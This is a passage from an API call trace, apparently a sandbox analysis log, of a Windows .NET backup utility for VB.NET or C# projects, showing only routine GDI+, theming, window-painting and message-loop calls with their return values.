state=0x52eb14) returned 0x0 [0222.949] GdipRestoreGraphics (graphics=0x4d97818, state=0xfdad0dbd) returned 0x0 [0222.949] GdipDeleteRegion (region=0x4da5600) returned 0x0 [0222.950] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x52e998, fWinIni=0x0 | out: pvParam=0x52e998) returned 1 [0222.950] GdipGetDC (graphics=0x4d97818, hdc=0x52e900) returned 0x0 [0222.950] GetCurrentObject (hdc=0x2b0106e1, type=0x1) returned 0x1b00017 [0222.950] GetCurrentObject (hdc=0x2b0106e1, type=0x2) returned 0x1900010 [0222.950] GetCurrentObject (hdc=0x2b0106e1, type=0x7) returned 0xa0506be [0222.951] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.951] SaveDC (hdc=0x2b0106e1) returned 1 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0xf0f0f0) returned 0xf0f0f0 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0xa0a0a0) returned 0xa0a0a0 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0x696969) returned 0x696969 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0xa0a0a0) returned 0xa0a0a0 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0x0) returned 0x0 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0xffffff) returned 0xffffff [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0xe5e5e5) returned 0xe5e5e5 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0xd7d7d7) returned 0xd7d7d7 [0222.951] GetNearestColor (hdc=0x2b0106e1, color=0x0) returned 0x0 [0222.951] RestoreDC (hdc=0x2b0106e1, nSavedDC=-1) returned 1 [0222.951] GdipReleaseDC (graphics=0x4d97818, hdc=0x2b0106e1) returned 0x0 [0222.953] IsAppThemed () returned 0x1 [0222.953] GetThemeAppProperties () returned 0x3 [0222.953] GetThemeAppProperties () returned 0x3 [0222.953] OpenThemeData () returned 0x10004 [0222.954] IsAppThemed () returned 0x1 [0222.954] GetThemeAppProperties () returned 0x3 [0222.954] GetThemeAppProperties () returned 0x3 [0222.955] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x102415, lpdtp=0x2302008 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0222.955] IsAppThemed () returned 0x1 [0222.955] GetThemeAppProperties () returned 0x3 [0222.955] GetThemeAppProperties () returned 0x3 [0222.956] IsAppThemed () returned 0x1 [0222.956] GetThemeAppProperties () returned 0x3 [0222.956] GetThemeAppProperties () returned 0x3 [0222.956] GetFocus () returned 0x10186 [0222.957] IsAppThemed () returned 0x1 [0222.957] GetThemeAppProperties () returned 0x3 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] IsAppThemed () returned 0x1 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] IsThemePartDefined () returned 0x1 [0222.958] IsAppThemed () returned 0x1 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0222.958] IsAppThemed () returned 0x1 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] IsAppThemed () returned 0x1 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] GetThemeAppProperties () returned 0x3 [0222.958] IsThemePartDefined () returned 0x1 [0222.958] GdipCreateRegion (region=0x52e804) returned 0x0 [0222.958] GdipGetClip (graphics=0x4d97818, region=0x4da5600) returned 0x0 [0222.959] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0222.959] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270f28) returned 0x0 [0222.959] GdipIsMatrixIdentity (matrix=0x5270f28, result=0x52e81c) returned 0x0 [0222.959] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.959] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.959] LocalFree (hMem=0x663f60) returned 0x0 [0222.959] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.959] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.959] LocalFree (hMem=0x663f60) returned 0x0 [0222.959] GdipDeleteMatrix (matrix=0x5270f28) returned 0x0 [0222.959] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52e844) returned 0x0 [0222.959] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52e834) returned 0x0 [0222.959] GdipGetRegionHRgn (region=0x4da5600, graphics=0x4d97818, hRgn=0x52e834) returned 0x0 [0222.959] GdipDeleteRegion (region=0x4da5600) returned 0x0 [0222.959] GdipGetDC (graphics=0x4d97818, hdc=0x52e84c) returned 0x0 [0222.959] GetCurrentObject (hdc=0x2b0106e1, type=0x1) returned 0x1b00017 [0222.959] GetCurrentObject (hdc=0x2b0106e1, type=0x2) returned 0x1900010 [0222.959] GetCurrentObject (hdc=0x2b0106e1, type=0x7) returned 0xa0506be [0222.959] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.959] SaveDC (hdc=0x2b0106e1) returned 1 [0222.960] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x49040221 [0222.960] GetClipRgn (hdc=0x2b0106e1, hrgn=0x49040221) returned 0 [0222.960] SelectClipRgn (hdc=0x2b0106e1, hrgn=0x280401e4) returned 2 [0222.960] DeleteObject (ho=0x49040221) returned 1 [0222.960] DeleteObject (ho=0x280401e4) returned 1 [0222.960] OffsetViewportOrgEx (in: hdc=0x2b0106e1, x=0, y=0, lppt=0x23026e4 | out: lppt=0x23026e4) returned 1 [0222.960] DrawThemeParentBackground () returned 0x0 [0222.960] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0222.960] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0222.960] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0222.960] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.960] GetSystemMetrics (nIndex=42) returned 0 [0222.960] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.960] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0222.960] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0222.961] GetCurrentObject (hdc=0x2b0106e1, type=0x1) returned 0x1b00017 [0222.961] GetCurrentObject (hdc=0x2b0106e1, type=0x2) returned 0x1900010 [0222.961] GetCurrentObject (hdc=0x2b0106e1, type=0x7) returned 0xa0506be [0222.961] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.961] SaveDC (hdc=0x2b0106e1) returned 2 [0222.961] GetNearestColor (hdc=0x2b0106e1, color=0xf0f0f0) returned 0xf0f0f0 [0222.961] CreateSolidBrush (color=0xf0f0f0) returned 0xb1006b3 [0222.961] FillRect (hDC=0x2b0106e1, lprc=0x52e314, hbr=0xb1006b3) returned 1 [0222.961] DeleteObject (ho=0xb1006b3) returned 1 [0222.961] RestoreDC (hdc=0x2b0106e1, nSavedDC=-1) returned 1 [0222.961] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0222.961] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.961] GetSystemMetrics (nIndex=42) returned 0 [0222.961] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.961] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0222.961] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0222.962] GetCurrentObject (hdc=0x2b0106e1, type=0x1) returned 0x1b00017 [0222.962] GetCurrentObject (hdc=0x2b0106e1, type=0x2) returned 0x1900010 [0222.962] GetCurrentObject (hdc=0x2b0106e1, type=0x7) returned 0xa0506be [0222.962] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.962] SaveDC (hdc=0x2b0106e1) returned 2 [0222.962] GetNearestColor (hdc=0x2b0106e1, color=0xf0f0f0) returned 0xf0f0f0 [0222.962] CreateSolidBrush (color=0xf0f0f0) returned 0xc1006b3 [0222.962] FillRect (hDC=0x2b0106e1, lprc=0x52e2b4, hbr=0xc1006b3) returned 1 [0222.962] DeleteObject (ho=0xc1006b3) returned 1 [0222.962] RestoreDC (hdc=0x2b0106e1, nSavedDC=-1) returned 1 [0222.962] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0222.962] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.962] GetSystemMetrics (nIndex=42) returned 0 [0222.962] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.962] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0222.962] RestoreDC (hdc=0x2b0106e1, nSavedDC=-1) returned 1 [0222.962] GdipReleaseDC (graphics=0x4d97818, hdc=0x2b0106e1) returned 0x0 [0222.963] IsAppThemed () returned 0x1 [0222.963] GetThemeAppProperties () returned 0x3 [0222.963] GetThemeAppProperties () returned 0x3 [0222.963] IsAppThemed () returned 0x1 [0222.963] GetThemeAppProperties () returned 0x3 [0222.963] GetThemeAppProperties () returned 0x3 [0222.963] IsThemePartDefined () returned 0x1 [0222.963] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0222.963] GdipGetClip (graphics=0x4d97818, region=0x4da5600) returned 0x0 [0222.963] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0222.963] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x4d98090) returned 0x0 [0222.963] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0222.963] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.963] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x663f60) returned 0x0 [0222.963] LocalFree (hMem=0x663f60) returned 0x0 [0222.963] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.963] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x663f60) returned 0x0 [0222.963] LocalFree (hMem=0x663f60) returned 0x0 [0222.963] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0222.963] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52e7e8) returned 0x0 [0222.963] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52e7d8) returned 0x0 [0222.963] GdipGetRegionHRgn (region=0x4da5600, graphics=0x4d97818, hRgn=0x52e7d8) returned 0x0 [0222.963] GdipDeleteRegion (region=0x4da5600) returned 0x0 [0222.963] GdipGetDC (graphics=0x4d97818, hdc=0x52e7f0) returned 0x0 [0222.963] GetCurrentObject (hdc=0x2b0106e1, type=0x1) returned 0x1b00017 [0222.964] GetCurrentObject (hdc=0x2b0106e1, type=0x2) returned 0x1900010 [0222.964] GetCurrentObject (hdc=0x2b0106e1, type=0x7) returned 0xa0506be [0222.964] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.964] SaveDC (hdc=0x2b0106e1) returned 1 [0222.964] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x290401e4 [0222.964] GetClipRgn (hdc=0x2b0106e1, hrgn=0x290401e4) returned 0 [0222.964] SelectClipRgn (hdc=0x2b0106e1, hrgn=0x4b040221) returned 2 [0222.964] DeleteObject (ho=0x290401e4) returned 1 [0222.964] DeleteObject (ho=0x4b040221) returned 1 [0222.964] OffsetViewportOrgEx (in: hdc=0x2b0106e1, x=0, y=0, lppt=0x230311c | out: lppt=0x230311c) returned 1 [0222.964] IsAppThemed () returned 0x1 [0222.964] GetThemeAppProperties () returned 0x3 [0222.964] GetThemeAppProperties () returned 0x3 [0222.964] DrawThemeBackground () returned 0x0 [0222.964] RestoreDC (hdc=0x2b0106e1, nSavedDC=-1) returned 1 [0222.965] GdipReleaseDC (graphics=0x4d97818, hdc=0x2b0106e1) returned 0x0 [0222.965] GdipCreateRegion (region=0x52e790) returned 0x0 [0222.965] GdipGetClip (graphics=0x4d97818, region=0x4da5600) returned 0x0 [0222.965] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0222.965] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270f28) returned 0x0 [0222.965] GdipIsMatrixIdentity (matrix=0x5270f28, result=0x52e7a8) returned 0x0 [0222.965] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.965] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.965] LocalFree (hMem=0x663f60) returned 0x0 [0222.965] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.965] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.965] LocalFree (hMem=0x663f60) returned 0x0 [0222.965] GdipDeleteMatrix (matrix=0x5270f28) returned 0x0 [0222.966] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52e7d0) returned 0x0 [0222.966] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52e7c0) returned 0x0 [0222.966] GdipGetRegionHRgn (region=0x4da5600, graphics=0x4d97818, hRgn=0x52e7c0) returned 0x0 [0222.966] GdipDeleteRegion (region=0x4da5600) returned 0x0 [0222.966] GdipGetDC (graphics=0x4d97818, hdc=0x52e7d8) returned 0x0 [0222.966] GetCurrentObject (hdc=0x2b0106e1, type=0x1) returned 0x1b00017 [0222.966] GetCurrentObject (hdc=0x2b0106e1, type=0x2) returned 0x1900010 [0222.966] GetCurrentObject (hdc=0x2b0106e1, type=0x7) returned 0xa0506be [0222.966] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.966] SaveDC (hdc=0x2b0106e1) returned 1 [0222.966] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4c040221 [0222.966] GetClipRgn (hdc=0x2b0106e1, hrgn=0x4c040221) returned 0 [0222.966] SelectClipRgn (hdc=0x2b0106e1, hrgn=0x2a0401e4) returned 2 [0222.966] DeleteObject (ho=0x4c040221) returned 1 [0222.966] DeleteObject (ho=0x2a0401e4) returned 1 [0222.966] OffsetViewportOrgEx (in: hdc=0x2b0106e1, x=0, y=0, lppt=0x23033f0 | out: lppt=0x23033f0) returned 1 [0222.966] IsAppThemed () returned 0x1 [0222.966] GetThemeAppProperties () returned 0x3 [0222.966] GetThemeAppProperties () returned 0x3 [0222.967] GetThemeBackgroundContentRect () returned 0x0 [0222.967] RestoreDC (hdc=0x2b0106e1, nSavedDC=-1) returned 1 [0222.967] GdipReleaseDC (graphics=0x4d97818, hdc=0x2b0106e1) returned 0x0 [0222.967] IsAppThemed () returned 0x1 [0222.967] GetThemeAppProperties () returned 0x3 [0222.967] GetThemeAppProperties () returned 0x3 [0222.967] GdipGetTextRenderingHint (graphics=0x4d97818, mode=0x52e908) returned 0x0 [0222.968] GdipGetDC (graphics=0x4d97818, hdc=0x52e8f4) returned 0x0 [0222.968] GetCurrentObject (hdc=0x2b0106e1, type=0x1) returned 0x1b00017 [0222.968] GetCurrentObject (hdc=0x2b0106e1, type=0x2) returned 0x1900010 [0222.968] GetCurrentObject (hdc=0x2b0106e1, type=0x7) returned 0xa0506be [0222.968] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.968] SaveDC (hdc=0x2b0106e1) returned 1 [0222.968] GetTextAlign (hdc=0x2b0106e1) returned 0x0 [0222.968] GetTextColor (hdc=0x2b0106e1) returned 0x0 [0222.968] GetCurrentObject (hdc=0x2b0106e1, type=0x6) returned 0x18a002e [0222.968] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0222.968] SelectObject (hdc=0x2b0106e1, h=0xc0a01e7) returned 0x18a002e [0222.968] GetBkMode (hdc=0x2b0106e1) returned 2 [0222.968] SetBkMode (hdc=0x2b0106e1, mode=1) returned 2 [0222.968] DrawTextExW (in: hdc=0x2b0106e1, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x102415, lpdtp=0x2303784 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0222.968] DrawTextExW (in: hdc=0x2b0106e1, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x102015, lpdtp=0x2303784 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0222.969] RestoreDC (hdc=0x2b0106e1, nSavedDC=-1) returned 1 [0222.969] GdipReleaseDC (graphics=0x4d97818, hdc=0x2b0106e1) returned 0x0 [0222.969] GetFocus () returned 0x10186 [0222.969] IsAppThemed () returned 0x1 [0222.969] GetThemeAppProperties () returned 0x3 [0222.969] GetThemeAppProperties () returned 0x3 [0222.969] GdipGetDC (graphics=0x4d97818, hdc=0x52ead4) returned 0x0 [0222.969] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x2b0106e1, x1=0, y1=0, rop=0xcc0020) returned 1 [0222.970] GdipReleaseDC (graphics=0x4d97818, hdc=0x2b0106e1) returned 0x0 [0222.970] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0222.970] SelectObject (hdc=0x2b0106e1, h=0x185000f) returned 0xa0506be [0222.970] DeleteDC (hdc=0x2b0106e1) returned 1 [0222.970] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0222.970] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0222.970] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.970] IsWindowUnicode (hWnd=0x101a4) returned 1 [0222.971] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.971] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.971] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.971] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.971] IsWindowUnicode (hWnd=0x101a6) returned 1 [0222.971] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.971] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.971] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.971] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0222.971] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0225.118] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.118] IsWindowUnicode (hWnd=0x10186) returned 1 [0225.118] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.121] GetKeyState (nVirtKey=17) returned 0 [0225.121] GetKeyState (nVirtKey=18) returned -127 [0225.121] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0225.121] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0225.121] GetParent (hWnd=0x1016e) returned 0x0 [0225.121] SendMessageW (hWnd=0x1016e, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0 [0225.121] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0 [0225.121] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.121] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.122] GetStockObject (i=5) returned 0x1900015 [0225.122] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65906) returned 0x10172 [0225.122] SendMessageW (hWnd=0x10172, Msg=0x202b, wParam=0x10172, lParam=0x52e084) returned 0x0 [0225.122] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x202b, wParam=0x10172, lParam=0x52e084) returned 0x0 [0225.122] RedrawWindow (hWnd=0x10172, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.122] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.122] InvalidateRect (hWnd=0x10174, lpRect=0x0, bErase=1) returned 1 [0225.122] RedrawWindow (hWnd=0x10174, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.122] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.122] GetStockObject (i=5) returned 0x1900015 [0225.122] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65910) returned 0x10176 [0225.122] SendMessageW (hWnd=0x10176, Msg=0x202b, wParam=0x10176, lParam=0x52e084) returned 0x0 [0225.122] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x202b, wParam=0x10176, lParam=0x52e084) returned 0x0 [0225.122] RedrawWindow (hWnd=0x10176, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.122] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.122] GetStockObject (i=5) returned 0x1900015 [0225.123] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65912) returned 0x10178 [0225.123] SendMessageW (hWnd=0x10178, Msg=0x202b, wParam=0x10178, lParam=0x52e084) returned 0x0 [0225.123] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x202b, wParam=0x10178, lParam=0x52e084) returned 0x0 [0225.123] RedrawWindow (hWnd=0x10178, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.123] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.123] GetStockObject (i=5) returned 0x1900015 [0225.123] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65914) returned 0x1017a [0225.123] SendMessageW (hWnd=0x1017a, Msg=0x202b, wParam=0x1017a, lParam=0x52e084) returned 0x0 [0225.123] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x202b, wParam=0x1017a, lParam=0x52e084) returned 0x0 [0225.123] RedrawWindow (hWnd=0x1017a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.123] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.123] GetStockObject (i=5) returned 0x1900015 [0225.123] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65916) returned 0x1017c [0225.123] SendMessageW (hWnd=0x1017c, Msg=0x202b, wParam=0x1017c, lParam=0x52e084) returned 0x0 [0225.123] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x202b, wParam=0x1017c, lParam=0x52e084) returned 0x0 [0225.123] RedrawWindow (hWnd=0x1017c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.123] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.123] GetStockObject (i=5) returned 0x1900015 [0225.124] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65918) returned 0x1017e [0225.124] SendMessageW (hWnd=0x1017e, Msg=0x202b, wParam=0x1017e, lParam=0x52e084) returned 0x0 [0225.124] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x202b, wParam=0x1017e, lParam=0x52e084) returned 0x0 [0225.124] RedrawWindow (hWnd=0x1017e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.124] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.124] GetStockObject (i=5) returned 0x1900015 [0225.124] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65920) returned 0x10180 [0225.124] SendMessageW (hWnd=0x10180, Msg=0x202b, wParam=0x10180, lParam=0x52e084) returned 0x0 [0225.124] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x202b, wParam=0x10180, lParam=0x52e084) returned 0x0 [0225.124] RedrawWindow (hWnd=0x10180, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.124] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.124] GetStockObject (i=5) returned 0x1900015 [0225.124] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65922) returned 0x10182 [0225.124] SendMessageW (hWnd=0x10182, Msg=0x202b, wParam=0x10182, lParam=0x52e084) returned 0x0 [0225.124] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10182, Msg=0x202b, wParam=0x10182, lParam=0x52e084) returned 0x0 [0225.124] RedrawWindow (hWnd=0x10182, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.124] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.124] GetStockObject (i=5) returned 0x1900015 [0225.125] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65924) returned 0x10184 [0225.125] SendMessageW (hWnd=0x10184, Msg=0x202b, wParam=0x10184, lParam=0x52e084) returned 0x0 [0225.125] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x202b, wParam=0x10184, lParam=0x52e084) returned 0x0 [0225.125] RedrawWindow (hWnd=0x10184, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.125] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0225.125] GetStockObject (i=5) returned 0x1900015 [0225.125] GetStockObject (i=5) returned 0x1900015 [0225.125] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0225.125] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52dfc0) returned 0x0 [0225.125] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52dfc0) returned 0x0 [0225.125] RedrawWindow (hWnd=0x10186, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.125] RedrawWindow (hWnd=0x1016e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0225.181] GetKeyState (nVirtKey=16) returned 0 [0225.181] 